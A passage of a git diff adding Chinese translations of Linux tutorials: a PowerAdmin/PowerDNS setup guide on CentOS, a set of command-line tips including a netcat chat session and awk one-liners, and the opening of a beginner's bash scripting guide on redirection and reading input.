Pear](http://www.tecmint.com/wp-content/uploads/2015/04/Install-Pear.jpeg) + +*安装Pear* + +你也可以参考一下文章了解CentOS 7中安装LAMP堆栈的完整指南: + +- [CentOS 7中安装LAMP][2] + +安装完成后,我们将需要启动并设置Apache开机启动: + + # systemctl enable httpd.service + # systemctl start httpd.service + +![Enable Start Apache System Boot](http://www.tecmint.com/wp-content/uploads/2015/04/Enable-Start-Apache-System-Boot.png) + +*启用Apache开机启动* + +12、 由于已经满足PowerAdmin的所有系统要求,我们可以继续下载软件包。因为Apache默认的网页目录位于/var/www/html/,我们将下载软件包到这里。 + + # cd /var/www/html/ + # wget http://downloads.sourceforge.net/project/poweradmin/poweradmin-2.1.7.tgz + # tar xfv poweradmin-2.1.7.tgz + +![Download PowerAdmin](http://www.tecmint.com/wp-content/uploads/2015/04/Download-PowerAdmin.jpeg) + +*下载PowerAdmin* + +13、 现在,我们可以启动PowerAdmin的网页安装器了,只需打开: + + http://192.168.0.102/poweradmin-2.1.7/install/ + +这会进入安装过程的第一步: + +![Select Installation Language](http://www.tecmint.com/wp-content/uploads/2015/04/Select-Installation-Language.png) + +*选择安装语言* + +上面的页面会要求你为PowerAdmin选择语言,请选择你想要使用的那一个,然后点击“进入步骤 2”按钮。 + +14、 安装器需要PowerDNS数据库: + +![PowerDNS Database](http://www.tecmint.com/wp-content/uploads/2015/04/PowerDNS-Database.png) + +*PowerDNS数据库* + +15、 因为我们已经创建了一个数据库,所以我们可以继续进入下一步。你会被要求提供先前配置的数据库详情,你也需要为Poweradmin设置管理员密码: + +![Enter PowerDNS Database Settings](http://www.tecmint.com/wp-content/uploads/2015/04/PowerDNS.png) + +*输入PowerDNS数据库配置* + +16、 输入这些信息后,进入步骤 4。你将创建为Poweradmin创建一个受限用户。这里你需要输入的字段是: + +- 用户名(Username) - PowerAdmin用户名。 +- 密码(Password) – 上述用户的密码。 +- 主机管理员(Hostmaster) - 当创建SOA记录而你没有指定主机管理员时,该值会被用作默认值。 +- 主域名服务器 - 该值在创建新的DNS区域时会被用于作为主域名服务器。 +- 辅域名服务器 – 该值在创建新的DNS区域时会被用于作为辅域名服务器。 + +![PowerDNS Configuration Settings](http://www.tecmint.com/wp-content/uploads/2015/04/PowerDNS-Configuration-Settings.png) + +*PowerDNS配置设置* + +17、 在下一步中,Poweradmin会要求你在数据库表中创建一个新的受限数据库用户,它会提供你需要在MariaDB控制台输入的代码: + +![Create New Database User](http://www.tecmint.com/wp-content/uploads/2015/04/Create-New-Database-User.png) + +*创建新的数据库用户* + +18、 现在打开终端并运行: + + # mysql -u root -p + +提供你的密码并执行由PowerAdmin提供的代码: + + MariaDB [(none)]> GRANT SELECT, INSERT, UPDATE, DELETE + ON powerdns.* + TO 'powermarin'@'localhost' + IDENTIFIED BY '123qweasd'; + +![Grant Mysql Permissions to User](http://www.tecmint.com/wp-content/uploads/2015/04/Grant-Mysql-Permissions-to-User.png) + +*为用户授予Mysql权限* + +19、 现在,回到浏览器中并继续下一步。安装器将尝试创建配置文件到/var/www/html/poweradmin-2.1.7/inc。 + +文件名是config.inc.php。为防止该脚本没有写权限,你可以手动复制这些内容到上述文件中: + +![Configuration Settings of PowerDNS](http://www.tecmint.com/wp-content/uploads/2015/04/PowerDNS-Configuration.png) + +*配置PowerDNS设置* + +20、 现在,进入最后页面,该页面会告知你安装已经完成以及如何访问安装好的PowerAdmin: + +![PowerDNS Installation Completed](http://www.tecmint.com/wp-content/uploads/2015/04/PowerDNS-Installation-Completed.png) + +*PowerDNS安装完成* + +你可以通过运行以下命令来启用用于其他动态DNS提供商的URL: + + # cp install/htaccess.dist .htaccess + +出于该目的,你将需要在Apache的配置中启用mod_rewrite。 + +21、 现在,需要移除从PowerAdmin的根目录中移除“install”文件夹,这一点很重要。使用以下命令: + + # rm -fr /var/www/html/poweradmin/install/ + +在此之后,你可以通过以下方式访问PowerAdmin: + + http://192.168.0.102/poweradmin-2.1.7/ + +![PowerDNS Login](http://www.tecmint.com/wp-content/uploads/2015/04/PowerDNS-Login.png) + +*PowerDNS登录* + +在登录后,你应该会看到PowerAdmin的主页: + +![PowerDNS Dashboard](http://www.tecmint.com/wp-content/uploads/2015/04/PowerDNS-Dashboard.png) + +*PowerDNS仪表盘* + +到这里,安装已经完成了,你也可以开始管理你的DNS区域了。 + +### 第三部分: PowerDNS中添加、编辑和删除DNS区域 ### + +22、 要添加新的主区域,只需点击“添加主区域”: + +![Add Master Zone](http://www.tecmint.com/wp-content/uploads/2015/04/Add-Master-Zone.png) + +*添加主区域* + +在下一页中,你需要填写一些东西: + +- 域(Domain) – 你要添加区域的域。 +- 所有者(Owner) – 设置DNS区域的所有者。 +- 模板(Template)– DNS模板 – 留空。 +- DNSSEC – 域名系统安全扩展(可选——看看你是否需要)。 + +点击“添加区域”按钮来添加DNS区域。 + +![Master DNS Zone](http://www.tecmint.com/wp-content/uploads/2015/04/Master-DNS-Zone.png) + +*主DNS区域* + +现在,你可以点击“首页”链接回到PowerAdmin的首页。要查看所有现存的DNS区域,只需转到“列出区域(List Zones)”: + +![Check List of Zones](http://www.tecmint.com/wp-content/uploads/2015/04/Check-List-Zones.png) + +*查看区域列表* + +你现在应该看到一个可用DNS区域列表: + +![Check List of DNS Zones](http://www.tecmint.com/wp-content/uploads/2015/04/DNS-Zones.png) + +*检查DNS区域列表* + +23、 要编辑现存DNS区域或者添加新的记录,点击编辑图标: + +![Edit DNS Zone](http://www.tecmint.com/wp-content/uploads/2015/04/Edit-DNS-Zone.png) + +*编辑DNS区域* + +在接下来的页面,你会看到你选择的DNS区域的条目: + +![Domain DNS Zone Entries](http://www.tecmint.com/wp-content/uploads/2015/04/Domain-DNS.png) + +*域名的DNS区域条目* + +24、 在此处添加新的DNS条目,你需要设置以下信息: + +- 名称(Name) – 条目名称。只需添加域/子域的第一部分,PowerAdmin会添加剩下的。 +- 类型(Type) – 选择记录类型。 +- 优先级(Priority) – 记录优先级。 +- TTL – 存活时间,以秒计算。 + +出于本文目的,我将为子域new.example.com添加一个A记录用于解析IP地址192.168.0.102,设置存活时间为14400秒: + +![Add New DNS Record](http://www.tecmint.com/wp-content/uploads/2015/04/Add-New-DNS-Record.png) + +*添加新DNS记录* + +最后,点击“添加记录”按钮。 + +25、 如果你想要删除DNS区域,你可以回到“列出区域”页面,然后点击你想要删除的DNS区域旁边“垃圾桶”图标: + +![Delete DNS Zone](http://www.tecmint.com/wp-content/uploads/2015/04/Delete-DNS-Zone.png) + +*删除DNS区域* + +Poweradmin将问你是否确定想要删除DNS区域。只需点击“是”来完成删除。 + +如要获取更多关于怎样创建、编辑和删除区域的说明,你可以参与Poweradmin的文档:[https://github.com/poweradmin/poweradmin/wiki/Documentation][3] + +我希望你已经发现本文很有趣,也很有用。一如既往,如果你有问题或要发表评论,请别犹豫,在下面评论区提交你的评论吧。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/install-powerdns-poweradmin-mariadb-in-centos-rhel/ + +作者:[Marin Todorov][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/marintodorov89/ +[1]:http://downloads.powerdns.com/documentation/html/index.html +[2]:http://www.tecmint.com/install-lamp-in-centos-7/ +[3]:https://github.com/poweradmin/poweradmin/wiki/Documentation diff --git a/published/201506/20150504 Useful Commands to Create Commandline Chat Server and Remove Unwanted Packages in Linux.md b/published/201506/20150504 Useful Commands to Create Commandline Chat Server and Remove Unwanted Packages in Linux.md new file mode 100644 index 0000000000..786e06b436 --- /dev/null +++ b/published/201506/20150504 Useful Commands to Create Commandline Chat Server and Remove Unwanted Packages in Linux.md @@ -0,0 +1,179 @@ +Linux中,创建聊天服务器、移除冗余软件包的实用命令 +============================================================================= +这里,我们来看Linux命令行实用技巧的下一个部分。如果你错过了Linux Tracks之前的文章,可以从这里找到。 + +- [5个有趣的Linux命令行技巧][1] + +本篇中,我们将会介绍6个命令行小技巧,包括使用Netcat命令创建Linux命令行聊天,从某个命令的输出中对某一列做加法,移除Debian和CentOS上多余的包,从命令行中获取本地与远程的IP地址,在终端获得彩色的输出与解码各样的颜色,最后是Linux命令行里井号标签的使用。让我们来一个一个地看一下。 + +![Linux Commandline Chat Server](http://www.tecmint.com/wp-content/uploads/2015/04/linux-commandline-chat-server.jpg) + +*6个实用的命令行技巧* + +### 1. 创建Linux命令行聊天服务 ### + +我们大家使用聊天服务都有很长一段时间了。对于Google Chat,Hangout,Facebook Chat,Whatsapp,Hike和其他一些应用与集成的聊天服务,我们都很熟悉了。那你知道Linux的nc命令可以使你的Linux机器变成一个聊天服务器,而仅仅只需要一行命令吗。什么是nc命令,它又是怎么工作的呢? + +nc即Linux netcat命令。nc就像瑞士军刀一样,内建了大量的功能。nc可用做调式工具,调查工具,使用TCP/UDP读写网络连接,DNS正向/反向查询等等。 + +nc主要用在端口扫描,文件传输,后台和端口监听。nc可以使用任何闲置的端口和任何本地网络源地址。 + +使用nc命令(在192.168.0.7的服务器上)创建一个命令行即时信息传输服务器。 + + $ nc -l -vv -p 11119 + +对上述命令的解释。 + +- -v : 显示冗余信息 +- -vv : 显示更多的冗余信息 +- -p : 本地端口号 + +你可以用任何其他的本地端口号替换11119。 + +接下来在客户端机器(IP地址:192.168.0.15),运行下面的命令初始化聊天会话(这里需要上面提到的信息服务器正在运行)。 + + $ nc 192.168.0.7:11119 + +![Linux Commandline Chat with nc Command](http://www.tecmint.com/wp-content/uploads/2015/04/Chat-on-Linux-Commandline.gif) + +**注意**:你可以按下ctrl+c终止会话,同时nc聊天是一个一对一的服务。 + +### 2. Linux中如何统计某一列的总值 ### + +如何在终端里统计某个命令的输出中其中一列的数值总和, + +‘ls -l’命令的输出。 + + $ ls -l + +![Sum Numerical Values](http://www.tecmint.com/wp-content/uploads/2015/04/Sum-Values.gif) + +注意到第二列代表软连接的数量,第五列则是文件的大小。假设我们需要汇总第五列的数值。 + +仅仅列出第五列的内容。我们会使用‘awk’命令做到这点。‘$5’即代表第五列。 + + $ ls -l | awk '{print $5}' + +![List Content Column](http://www.tecmint.com/wp-content/uploads/2015/04/List-Content-Column.gif) + +现在,通过管道连接,使用awk打印出第五列数值的总和。 + + $ ls -l | awk '{print $5}' | awk '{total = total + $1}END{print total}' + +![Sum and Print Columns](http://www.tecmint.com/wp-content/uploads/2015/04/Sum-Columns.gif) + +### 在Linux里如何移除废弃包 ### + +废弃包是指那些作为其他包的依赖而被安装,但是当源包被移除之后就不再需要的包。 + +假设我们安装了一个叫gtprogram的软件包,其依赖是gtdependency。除非我们安装了gtdependency,否则安装不了gtprogram。 + +当我们移除gtprogram的时候,默认并不会移除gtdependency。并且如果我们不移除gtdependency的话,它就会遗留下来成为废弃包,与其他任何包再无联系。 + + # yum autoremove [On RedHat Systems] + +![Remove Orphan Packages in CentOS](http://www.tecmint.com/wp-content/uploads/2015/04/Remove-Orphan-Packages-in-CentOS1.gif) + + # apt-get autoremove [On Debian Systems] + +![Remove Orphan Packages in Debian](http://www.tecmint.com/wp-content/uploads/2015/04/Remove-Orphan-Packages-in-Debian.gif) + +你应该经常移除废弃包,保持Linux机器仅仅加载一些需要的东西。 + +### 4. 如何获得Linux服务器本地的与公网的IP地址 ### + +为了获得本地IP地址,运行下面的一行脚本。 + + $ ifconfig | grep "inet addr:" | awk '{print $2}' | grep -v '127.0.0.1' | cut -f2 -d: + +你必须安装了ifconfig,如果没有,使用apt或者yum工具安装需要的包。这里我们将会管道连接ifconfig的输出,并且结合grep命令找到包含“intel addr:”的字符串。 + +我们知道对于输出本地IP地址,ifconfig命令足够用了。但是ifconfig生成了许多的输出,而我们关注的地方仅仅是本地IP地址,不是其他的。 + + # ifconfig | grep "inet addr:" + +![Check Local IP Address](http://www.tecmint.com/wp-content/uploads/2015/04/Check-Local-IP-Address.gif) + +尽管目前的输出好多了,但是我们需要过滤出本地的IP地址,不含其他东西。针对这个,我们将会使用awk打印出第二列输出,通过管道连接上述的脚本。 + + # ifconfig | grep “inet addr:” | awk '{print $2}' + +![Filter Only IP Address](http://www.tecmint.com/wp-content/uploads/2015/04/Filter-IP-Address.gif) + +上面图片清楚的表示,我们已经很大程度上自定义了输出,当仍然不是我们想要的。本地环路地址 127.0.0.1 仍然在结果中。 + +我们可以使用grep的-v选项,这样会打印出不匹配给定参数的其他行。每个机器都有同样的环路地址 127.0.0.1,所以使用grep -v打印出不包含127.0.0.1的行,通过管道连接前面的脚本。 + + # ifconfig | grep "inet addr" | awk '{print $2}' | grep -v '127.0.0.1' + +![Print IP Address](http://www.tecmint.com/wp-content/uploads/2015/04/Print-IP-Address.gif) + +我们差不多得到想要的输出了,仅仅需要从开头替换掉字符串`(addr:)`。我们将会使用cut命令单独打印出第二列。一二列之间并不是用tab分割,而是`(:)`,所以我们需要使用到域分割符选项`(-d)`,通过管道连接上面的输出。 + + # ifconfig | grep "inet addr:" | awk '{print $2}' | grep -v '127.0.0.1' | cut -f2 -d: + +![Customized IP Address](http://www.tecmint.com/wp-content/uploads/2015/04/Custome-IP-Address.gif) + +最后!期望的结果出来了。 + +### 5.如何在Linux终端彩色输出 ### + +你可能在终端看见过彩色的输出。同时你也可能知道在终端里允许/禁用彩色输出。如果都不知道的话,你可以参考下面的步骤。 + +在Linux中,每个用户都有`'.bashrc'`文件,被用来管理你的终端输出。打开并且编辑该文件,用你喜欢的编辑器。注意一下,这个文件是隐藏的(文件开头为点的代表隐藏文件)。 + + $ vi /home/$USER/.bashrc + +确保以下的行没有被注释掉。即,行开头没有#。 + + if [ -x /usr/bin/dircolors ]; then + test -r ~/.dircolors && eval "$(dircolors -b ~/.dircolors)" || eval "$(dirc$ + alias ls='ls --color=auto' + #alias dir='dir --color=auto' + #alias vdir='vdir --color=auto' + + alias grep='grep --color=auto' + alias fgrep='fgrep --color=auto' + alias egrep='egrep --color=auto' + fi + +![User .bashrc File](http://www.tecmint.com/wp-content/uploads/2015/04/bashrc-file.gif) + +完成后!保存并退出。为了让改动生效,需要注销账户后再次登录。 + +现在,你会看见列出的文件和文件夹名字有着不同的颜色,根据文件类型来决定。要了解所用的颜色代码,可以运行下面的命令。 + + $ dircolors -p | less + +![Linux Color Output](http://www.tecmint.com/wp-content/uploads/2015/04/Linux-Color-Output.gif) + +### 6.如何用#号标记Linux命令和脚本 ### + +我们一直在Twitter,Facebook和Google Plus(可能是其他我们没有提到的地方)上使用#号标签。那些#号标签使得其他人搜索一个标签更加容易。可是很少人知道,我们可以在Linux命令行使用#号标签。 + +我们已经知道配置文件里的`#`,在大多数的编程语言中,这个符号被用作注释行,即不被执行。 + +运行一个命令,然后为这个命令创建一个#号标签,这样之后我们就可以找到它。假设我们有一个很长的脚本,就上面第四点被执行的命令。现在为它创建一个#号标签。我们知道ifconfig可以被sudo或者root执行,因此用root来执行。 + + # ifconfig | grep "inet addr:" | awk '{print $2}' | grep -v '127.0.0.1' | cut -f2 -d: #myip + +上述脚本被’myip‘给标记了。现在在reverse-i-search(按下ctrl+r)搜索一下这个标签,在终端里,并输入’myip‘。你可以从这里开始执行。 + +![Create Command Hash Tags](http://www.tecmint.com/wp-content/uploads/2015/04/Create-Command-Hash-Tags.gif) + +你可以为每个命令创建#号标签,之后使用reverse-i-search找到它。 + +目前就这么多了。我们一直在辛苦的工作,创造有趣的,有知识性的内容给你。你觉得我们是如何工作的呢?欢迎咨询任何问题。你可以在下面评论。保持联络!Kudox。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/linux-commandline-chat-server-and-remove-unwanted-packages/ + +作者:[Avishek Kumar][a] +译者:[wi-cuckoo](https://github.com/wi-cuckoo) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/avishek/ +[1]:https://linux.cn/article-5485-1.html diff --git a/published/201506/20150506 First Step Guide for Learning Shell Scripting.md b/published/201506/20150506 First Step Guide for Learning Shell Scripting.md new file mode 100644 index 0000000000..6369c96c8a --- /dev/null +++ b/published/201506/20150506 First Step Guide for Learning Shell Scripting.md @@ -0,0 +1,460 @@ +Shell脚本编程初体验 +================================================================================ +![](http://blog.linoxide.com/wp-content/uploads/2015/04/myfirstshellscript.jpg) + +通常,当人们提到“shell脚本语言”时,浮现在他们脑海中是bash,ksh,sh或者其它相类似的linux/unix脚本语言。脚本语言是与计算机交流的另外一种途径。使用图形化窗口界面(不管是windows还是linux都无所谓)用户可以移动鼠标并点击各种对象,比如按钮、列表、选框等等。但这种方式在每次用户想要计算机/服务器完成相同任务时(比如说批量转换照片,或者下载新的电影、mp3等)却是十分不方便。要想让所有这些事情变得简单并且自动化,我们可以使用shell脚本。 + +某些编程语言,像pascal、foxpro、C、java之类,在执行前需要先进行编译。它们需要合适的编译器来让我们的代码完成某个任务。 + +而其它一些编程语言,像php、javascript、visualbasic之类,则不需要编译器,因此它们需要解释器,而我们不需要编译代码就可以运行程序。 + +shell脚本也像解释器一样,但它通常用于调用外部已编译的程序。然后,它会捕获输出结果、退出代码并根据情况进行处理。 + +Linux世界中最为流行的shell脚本语言之一,就是bash。而我认为(这是我自己的看法)原因在于,默认情况下bash shell可以让用户便捷地通过历史命令(先前执行过的)导航,与之相反的是,ksh则要求对.profile进行一些调整,或者记住一些“魔术”组合键来查阅历史并修正命令。 + +好了,我想这些介绍已经足够了,剩下来哪个环境最适合你,就留给你自己去判断吧。从现在开始,我将只讲bash及其脚本。在下面的例子中,我将使用CentOS 6.6和bash-4.1.2。请确保你有相同版本,或者更高版本。 + +### Shell脚本流 ### + +shell脚本语言就跟和几个人聊天类似。你只需把所有命令想象成能帮你做事的那些人,只要你用正确的方式来请求他们去做。比如说,你想要写文档。首先,你需要纸。然后,你需要把内容说给某个人听,让他帮你写。最后,你想要把它存放到某个地方。或者说,你想要造一所房子,因而你需要请合适的人来清空场地。在他们说“事情干完了”,那么另外一些工程师就可以帮你来砌墙。最后,当这些工程师们也告诉你“事情干完了”的时候,你就可以叫油漆工来给房子粉饰了。如果你让油漆工在墙砌好前就来粉饰,会发生什么呢?我想,他们会开始发牢骚了。几乎所有这些像人一样的命令都会说话,如果它们完成了工作而没有发生什么问题,那么它们就会告诉“标准输出”。如果它们不能做你叫它们做的事——它们会告诉“标准错误”。这样,最后,所有的命令都通过“标准输入”来听你的话。 + +快速实例——当你打开linux终端并写一些文本时——你正通过“标准输入”和bash说话。那么,让我们来问问bash shell **who am i(我是谁?)**吧。 + + root@localhost ~]# who am i <--- 你通过标准输入对 bash shell 说 + root pts/0 2015-04-22 20:17 (192.168.1.123) <--- bash shell通过标准输出回答你 + +现在,让我们说一些bash听不懂的问题: + + [root@localhost ~]# blablabla <--- 哈,你又在和标准输入说话了 + -bash: blablabla: command not found <--- bash通过标准错误在发牢骚了 + +“:”之前的第一个单词通常是向你发牢骚的命令。实际上,这些流中的每一个都有它们自己的索引号(LCTT 译注:文件句柄号): + +- 标准输入(**stdin**) - 0 +- 标准输出(**stdout**) - 1 +- 标准错误(**stderr**) - 2 + +如果你真的想要知道哪个输出命令说了些什么——你需要将那次发言重定向到(在命令后使用大于号“>”和流索引)文件: + + [root@localhost ~]# blablabla 1> output.txt + -bash: blablabla: command not found + +在本例中,我们试着重定向流1(**stdout**)到名为output.txt的文件。让我们来看对该文件内容所做的事情吧,使用cat命令可以做这事: + + [root@localhost ~]# cat output.txt + [root@localhost ~]# + +看起来似乎是空的。好吧,现在让我们来重定向流2(**stderr**): + + [root@localhost ~]# blablabla 2> error.txt + [root@localhost ~]# + +好吧,我们看到牢骚话没了。让我们检查一下那个文件: + + [root@localhost ~]# cat error.txt + -bash: blablabla: command not found + [root@localhost ~]# + +果然如此!我们看到,所有牢骚话都被记录到errors.txt文件里头去了。 + +有时候,命令会同时产生**stdout**和**stderr**。要重定向它们到不同的文件,我们可以使用以下语句: + + command 1>out.txt 2>err.txt + +要缩短一点语句,我们可以忽略“1”,因为默认情况下**stdout**会被重定向: + + command >out.txt 2>err.txt + +好吧,让我们试试做些“坏事”。让我们用rm命令把file1和folder1给删了吧: + + [root@localhost ~]# rm -vf folder1 file1 > out.txt 2>err.txt + +现在来检查以下输出文件: + + [root@localhost ~]# cat out.txt + removed `file1' + [root@localhost ~]# cat err.txt + rm: cannot remove `folder1': Is a directory + [root@localhost ~]# + +正如我们所看到的,不同的流被分离到了不同的文件。有时候,这也不是很方便,因为我们想要查看出现错误时,在某些操作前面或后面所连续发生的事情。要实现这一目的,我们可以重定向两个流到同一个文件: + + command >>out_err.txt 2>>out_err.txt + +注意:请注意,我使用“>>”替代了“>”。它允许我们附加到文件,而不是覆盖文件。 + +我们也可以重定向一个流到另一个: + + command >out_err.txt 2>&1 + +让我来解释一下吧。所有命令的标准输出将被重定向到out_err.txt,错误输出将被重定向到流1(上面已经解释过了),而该流会被重定向到同一个文件。让我们看这个实例: + + [root@localhost ~]# rm -fv folder2 file2 >out_err.txt 2>&1 + [root@localhost ~]# cat out_err.txt + rm: cannot remove `folder2': Is a directory + removed `file2' + [root@localhost ~]# + +看着这些组合的输出,我们可以将其说明为:首先,**rm**命令试着将folder2删除,而它不会成功,因为linux要求**-r**键来允许**rm**命令删除文件夹,而第二个file2会被删除。通过为**rm**提供**-v**(详情)键,我们让rm命令告诉我们每个被删除的文件或文件夹。 + +这些就是你需要知道的,关于重定向的几乎所有内容了。我是说几乎,因为还有一个更为重要的重定向工具,它称之为“管道”。通过使用|(管道)符号,我们通常重定向**stdout**流。 + +比如说,我们有这样一个文本文件: + + [root@localhost ~]# cat text_file.txt + This line does not contain H e l l o word + This lilne contains Hello + This also containd Hello + This one no due to HELLO all capital + Hello bash world! + +而我们需要找到其中某些带有“Hello”的行,Linux中有个**grep**命令可以完成该工作: + + [root@localhost ~]# grep Hello text_file.txt + This lilne contains Hello + This also containd Hello + Hello bash world! + [root@localhost ~]# + +当我们有个文件,想要在里头搜索的时候,这用起来很不错。当如果我们需要在另一个命令的输出中查找某些东西,这又该怎么办呢?是的,当然,我们可以重定向输出到文件,然后再在文件里头查找: + + [root@localhost ~]# fdisk -l>fdisk.out + [root@localhost ~]# grep "Disk /dev" fdisk.out + Disk /dev/sda: 8589 MB, 8589934592 bytes + Disk /dev/mapper/VolGroup-lv_root: 7205 MB, 7205814272 bytes + Disk /dev/mapper/VolGroup-lv_swap: 855 MB, 855638016 bytes + [root@localhost ~]# + +如果你打算grep一些双引号引起来带有空格的内容呢! + +注意:fdisk命令显示关于Linux操作系统磁盘驱动器的信息。 + +就像我们看到的,这种方式很不方便,因为我们不一会儿就把临时文件空间给搞乱了。要完成该任务,我们可以使用管道。它们允许我们重定向一个命令的**stdout**到另一个命令的**stdin**流: + + [root@localhost ~]# fdisk -l | grep "Disk /dev" + Disk /dev/sda: 8589 MB, 8589934592 bytes + Disk /dev/mapper/VolGroup-lv_root: 7205 MB, 7205814272 bytes + Disk /dev/mapper/VolGroup-lv_swap: 855 MB, 855638016 bytes + [root@localhost ~]# + +如你所见,我们不需要任何临时文件就获得了相同的结果。我们把**fdisk stdout**重定向到了**grep stdin**。 + +**注意** : 管道重定向总是从左至右的。 + +还有几个其它重定向,但是我们将把它们放在后面讲。 + +### 在shell中显示自定义信息 ### + +正如我们所知道的,通常,与shell的交流以及shell内的交流是以对话的方式进行的。因此,让我们创建一些真正的脚本吧,这些脚本也会和我们讲话。这会让你学到一些简单的命令,并对脚本的概念有一个更好的理解。 + +假设我们是某个公司的总服务台经理,我们想要创建某个shell脚本来注册呼叫信息:电话号码、用户名以及问题的简要描述。我们打算把这些信息存储到普通文本文件data.txt中,以便今后统计。脚本它自己就是以对话的方式工作,这会让总服务台的工作人员的小日子过得轻松点。那么,首先我们需要显示提问。对于显示信息,我们可以用echo和printf命令。这两个都是用来显示信息的,但是printf更为强大,因为我们可以通过它很好地格式化输出,我们可以让它右对齐、左对齐或者为信息留出专门的空间。让我们从一个简单的例子开始吧。要创建文件,请使用你惯用的文本编辑器(kate,nano,vi,……),然后创建名为note.sh的文件,里面写入这些命令: + + echo "Phone number ?" + +### 如何运行/执行脚本? ### + +在保存文件后,我们可以使用bash命令来运行,把我们的文件作为它的参数: + + [root@localhost ~]# bash note.sh + Phone number ? + +实际上,这样来执行脚本是很不方便的。如果不使用**bash**命令作为前缀来执行,会更舒服一些。要让脚本可执行,我们可以使用**chmod**命令: + + [root@localhost ~]# ls -la note.sh + -rw-r--r--. 1 root root 22 Apr 23 20:52 note.sh + [root@localhost ~]# chmod +x note.sh + [root@localhost ~]# ls -la note.sh + -rwxr-xr-x. 1 root root 22 Apr 23 20:52 note.sh + [root@localhost ~]# + +![set permission script file](http://blog.linoxide.com/wp-content/uploads/2015/04/Capture.png) + +**注意** : ls命令显示了当前文件夹内的文件。通过添加-la键,它会显示更多文件信息。 + +如我们所见,在**chmod**命令执行前,脚本只有读(r)和写(w)权限。在执行**chmod +x**后,它就获得了执行(x)权限。(关于权限的更多细节,我会在下一篇文章中讲述。)现在,我们只需这么来运行: + + [root@localhost ~]# ./note.sh + Phone number ? + +在脚本名前,我添加了 ./ 组合。.(点)在unix世界中意味着当前位置(当前文件夹),/(斜线)是文件夹分隔符。(在Windows系统中,我们使用反斜线 \ 表示同样功能)所以,这整个组合的意思是说:“从当前文件夹执行note.sh脚本”。我想,如果我用完整路径来运行这个脚本的话,你会更加清楚一些: + + [root@localhost ~]# /root/note.sh + Phone number ? + [root@localhost ~]# + +它也能工作。 + +如果所有linux用户都有相同的默认shell,那就万事OK。如果我们只是执行该脚本,默认的用户shell就会用于解析脚本内容并运行命令。不同的shell的语法、内部命令等等有着一丁点不同,所以,为了保证我们的脚本会使用**bash**,我们应该添加**#!/bin/bash**到文件首行。这样,默认的用户shell将调用**/bin/bash**,而只有在那时候,脚本中的命令才会被执行: + + [root@localhost ~]# cat note.sh + #!/bin/bash + echo "Phone number ?" + +直到现在,我们才100%确信**bash**会用来解析我们的脚本内容。让我们继续。 + +### 读取输入 ### + +在显示信息后,脚本会等待用户回答。有个**read**命令用来接收用户的回答: + + #!/bin/bash + echo "Phone number ?" + read phone + +在执行后,脚本会等待用户输入,直到用户按[ENTER]键结束输入: + + [root@localhost ~]# ./note.sh + Phone number ? + 12345 <--- 这儿是我输入的内容 + [root@localhost ~]# + +你输入的所有东西都会被存储到变量**phone**中,要显示变量的值,我们同样可以使用**echo**命令: + + [root@localhost ~]# cat note.sh + #!/bin/bash + echo "Phone number ?" + read phone + echo "You have entered $phone as a phone number" + [root@localhost ~]# ./note.sh + Phone number ? + 123456 + You have entered 123456 as a phone number + [root@localhost ~]# + +在**bash** shell中,一般我们使用**$**(美元)符号来表明这是一个变量,除了读入到变量和其它为数不多的时候才不用这个$(将在今后说明)。 + +好了,现在我们准备添加剩下的问题了: + + #!/bin/bash + echo "Phone number?" + read phone + echo "Name?" + read name + echo "Issue?" + read issue + [root@localhost ~]# ./note.sh + Phone number? + 123 + Name? + Jim + Issue? + script is not working. + [root@localhost ~]# + +### 使用流重定向 ### + +太完美了!剩下来就是重定向所有东西到文件data.txt了。作为字段分隔符,我们将使用/(斜线)符号。 + +**注意** : 你可以选择任何你认为是最好的分隔符,但是确保文件内容不会包含这些符号在内,否则它会导致在文本行中产生额外字段。 + +别忘了使用“>>”来代替“>”,因为我们想要将输出内容附加到文件末! + + [root@localhost ~]# tail -2 note.sh + read issue + echo "$phone/$name/$issue">>data.txt + [root@localhost ~]# ./note.sh + Phone number? + 987 + Name? + Jimmy + Issue? + Keybord issue. + [root@localhost ~]# cat data.txt + 987/Jimmy/Keybord issue. + [root@localhost ~]# + +**注意** : **tail**命令显示了文件的最后的**n**行。 + +搞定。让我们再来运行一次看看: + + [root@localhost ~]# ./note.sh + Phone number? + 556 + Name? + Janine + Issue? + Mouse was broken. + [root@localhost ~]# cat data.txt + 987/Jimmy/Keybord issue. + 556/Janine/Mouse was broken. + [root@localhost ~]# + +我们的文件在增长,让我们在每行前面加个日期吧,这对于今后摆弄这些统计数据时会很有用。要实现这功能,我们可以使用date命令,并指定某种格式,因为我不喜欢默认格式: + + [root@localhost ~]# date + Thu Apr 23 21:33:14 EEST 2015 <---- date命令的默认输出 + [root@localhost ~]# date "+%Y.%m.%d %H:%M:%S" + 2015.04.23 21:33:18 <---- 格式化后的输出 + +有几种方式可以读取命令的输出到变量,在这种简单的情况下,我们将使用`(是反引号,不是单引号,和波浪号~在同一个键位): + + [root@localhost ~]# cat note.sh + #!/bin/bash + now=`date "+%Y.%m.%d %H:%M:%S"` + echo "Phone number?" + read phone + echo "Name?" + read name + echo "Issue?" + read issue + echo "$now/$phone/$name/$issue">>data.txt + [root@localhost ~]# ./note.sh + Phone number? + 123 + Name? + Jim + Issue? + Script hanging. + [root@localhost ~]# cat data.txt + 2015.04.23 21:38:56/123/Jim/Script hanging. + [root@localhost ~]# + +嗯…… 我们的脚本看起来有点丑啊,让我们来美化一下。如果你要手动读取**read**命令,你会发现read命令也可以显示一些信息。要实现该功能,我们应该使用-p键加上信息: + + [root@localhost ~]# cat note.sh + #!/bin/bash + now=`date "+%Y.%m.%d %H:%M:%S"` + read -p "Phone number: " phone + read -p "Name: " name + read -p "Issue: " issue + echo "$now/$phone/$name/$issue">>data.txt + +你可以直接从控制台查找到各个命令的大量有趣的信息,只需输入:**man read, man echo, man date, man ……** + +同意吗?它看上去是舒服多了! + + [root@localhost ~]# ./note.sh + Phone number: 321 + Name: Susane + Issue: Mouse was stolen + [root@localhost ~]# cat data.txt + 2015.04.23 21:38:56/123/Jim/Script hanging. + 2015.04.23 21:43:50/321/Susane/Mouse was stolen + [root@localhost 